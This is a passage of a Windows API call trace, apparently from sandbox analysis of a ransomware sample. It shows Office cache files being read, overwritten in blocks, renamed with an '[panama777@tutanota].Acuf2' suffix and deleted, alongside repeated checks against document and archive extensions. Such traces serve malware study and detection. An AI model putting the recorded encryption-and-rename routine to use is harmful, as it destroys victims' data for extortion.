	[0048.873] SetEndOfFile (hFile=0x158) returned 1
	[0048.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0049.686] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.686] WriteFile (in: hFile=0x158, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.687] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.687] WriteFile (in: hFile=0x158, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.688] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.688] WriteFile (in: hFile=0x158, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0049.690] CloseHandle (hObject=0x158) returned 1
	[0049.690] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0049.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.690] lstrlenW (lpString=".doc") returned 4
	[0049.690] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0049.690] lstrlenW (lpString=".docx") returned 5
	[0049.691] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0049.691] lstrlenW (lpString=".pdf") returned 4
	[0049.691] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString=".xls") returned 4
	[0049.691] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString=".xlsx") returned 5
	[0049.691] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0049.691] lstrlenW (lpString=".ppt") returned 4
	[0049.691] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString=".zip") returned 4
	[0049.691] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString=".rar") returned 4
	[0049.691] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString=".bz2") returned 4
	[0049.691] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0049.691] lstrlenW (lpString=".7z") returned 3
	[0049.691] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString=".dbf") returned 4
	[0049.691] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString=".1cd") returned 4
	[0049.691] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString=".jpg") returned 4
	[0049.691] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.691] lstrlenW (lpString=".doc") returned 4
	[0049.691] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0049.691] lstrlenW (lpString=".docx") returned 5
	[0049.692] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0049.692] lstrlenW (lpString=".pdf") returned 4
	[0049.692] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString=".xls") returned 4
	[0049.692] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString=".xlsx") returned 5
	[0049.692] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0049.692] lstrlenW (lpString=".ppt") returned 4
	[0049.692] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.692] lstrlenW (lpString=".zip") returned 4
	[0049.692] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString=".rar") returned 4
	[0049.692] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString=".bz2") returned 4
	[0049.692] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0049.692] lstrlenW (lpString=".7z") returned 3
	[0049.692] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0049.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.692] lstrlenW (lpString=".dbf") returned 4
	[0049.692] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0049.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.692] lstrlenW (lpString=".1cd") returned 4
	[0049.692] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0049.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0049.692] lstrlenW (lpString=".jpg") returned 4
	[0049.692] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0049.692] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0049.693] lstrlenW (lpString="AccLR.cab") returned 9
	[0049.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0049.693] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=28016276) returned 1
	[0049.693] CloseHandle (hObject=0x158) returned 1
	[0049.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020
	[0049.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.693] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0049.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0049.694] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0049.694] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.694] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.704] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.704] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.709] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0049.709] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.709] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.759] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.759] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0049.939] SetEndOfFile (hFile=0x158) returned 1
	[0049.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0049.943] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.943] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.944] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.944] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.947] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.947] WriteFile (in: hFile=0x158, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0049.949] CloseHandle (hObject=0x158) returned 1
	[0049.950] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.951] lstrlenW (lpString=".doc") returned 4
	[0049.951] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString=".docx") returned 5
	[0049.951] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0049.951] lstrlenW (lpString=".pdf") returned 4
	[0049.951] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString=".xls") returned 4
	[0049.951] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString=".xlsx") returned 5
	[0049.951] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0049.951] lstrlenW (lpString=".ppt") returned 4
	[0049.951] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.951] lstrlenW (lpString=".zip") returned 4
	[0049.951] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString=".rar") returned 4
	[0049.951] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString=".bz2") returned 4
	[0049.951] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0049.951] lstrlenW (lpString=".7z") returned 3
	[0049.951] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.951] lstrlenW (lpString=".dbf") returned 4
	[0049.951] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.951] lstrlenW (lpString=".1cd") returned 4
	[0049.951] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0049.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.952] lstrlenW (lpString=".jpg") returned 4
	[0049.952] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.952] lstrlenW (lpString=".doc") returned 4
	[0049.952] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString=".docx") returned 5
	[0049.952] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0049.952] lstrlenW (lpString=".pdf") returned 4
	[0049.952] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString=".xls") returned 4
	[0049.952] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString=".xlsx") returned 5
	[0049.952] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0049.952] lstrlenW (lpString=".ppt") returned 4
	[0049.952] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.952] lstrlenW (lpString=".zip") returned 4
	[0049.952] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString=".rar") returned 4
	[0049.952] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString=".bz2") returned 4
	[0049.952] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0049.952] lstrlenW (lpString=".7z") returned 3
	[0049.952] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0049.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.952] lstrlenW (lpString=".dbf") returned 4
	[0049.952] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0049.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.953] lstrlenW (lpString=".1cd") returned 4
	[0049.953] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0049.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0049.953] lstrlenW (lpString=".jpg") returned 4
	[0049.953] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0049.953] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0049.953] lstrlenW (lpString="ose.exe") returned 7
	[0049.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0049.953] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=174440) returned 1
	[0049.953] CloseHandle (hObject=0x158) returned 1
	[0049.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020
	[0049.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0049.954] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.954] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0049.954] GetLastError () returned 0x0
	[0049.954] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x2a968, lpOverlapped=0x0) returned 1
	[0050.031] WriteFile (in: hFile=0x1bc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0x2a970, lpOverlapped=0x0) returned 1
	[0050.035] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.035] WriteFile (in: hFile=0x1bc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0050.035] SetEndOfFile (hFile=0x1bc) returned 1
	[0050.035] CloseHandle (hObject=0x1bc) returned 1
	[0050.036] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.036] SetEndOfFile (hFile=0x158) returned 1
	[0050.037] CloseHandle (hObject=0x158) returned 1
	[0050.037] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.038] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1
	[0050.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.038] lstrlenW (lpString=".doc") returned 4
	[0050.038] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0050.038] lstrlenW (lpString=".docx") returned 5
	[0050.038] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0050.038] lstrlenW (lpString=".pdf") returned 4
	[0050.038] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0050.038] lstrlenW (lpString=".xls") returned 4
	[0050.038] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0050.038] lstrlenW (lpString=".xlsx") returned 5
	[0050.038] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0050.038] lstrlenW (lpString=".ppt") returned 4
	[0050.038] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0050.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.038] lstrlenW (lpString=".zip") returned 4
	[0050.038] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString=".rar") returned 4
	[0050.039] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString=".bz2") returned 4
	[0050.039] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0050.039] lstrlenW (lpString=".7z") returned 3
	[0050.039] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.039] lstrlenW (lpString=".dbf") returned 4
	[0050.039] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.039] lstrlenW (lpString=".1cd") returned 4
	[0050.039] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.039] lstrlenW (lpString=".jpg") returned 4
	[0050.039] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.039] lstrlenW (lpString=".doc") returned 4
	[0050.039] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0050.039] lstrlenW (lpString=".docx") returned 5
	[0050.039] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0050.039] lstrlenW (lpString=".pdf") returned 4
	[0050.039] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString=".xls") returned 4
	[0050.039] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString=".xlsx") returned 5
	[0050.039] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0050.039] lstrlenW (lpString=".ppt") returned 4
	[0050.039] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0050.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.040] lstrlenW (lpString=".zip") returned 4
	[0050.040] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0050.040] lstrlenW (lpString=".rar") returned 4
	[0050.040] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0050.040] lstrlenW (lpString=".bz2") returned 4
	[0050.040] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0050.040] lstrlenW (lpString=".7z") returned 3
	[0050.040] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0050.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.040] lstrlenW (lpString=".dbf") returned 4
	[0050.040] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0050.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.040] lstrlenW (lpString=".1cd") returned 4
	[0050.040] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
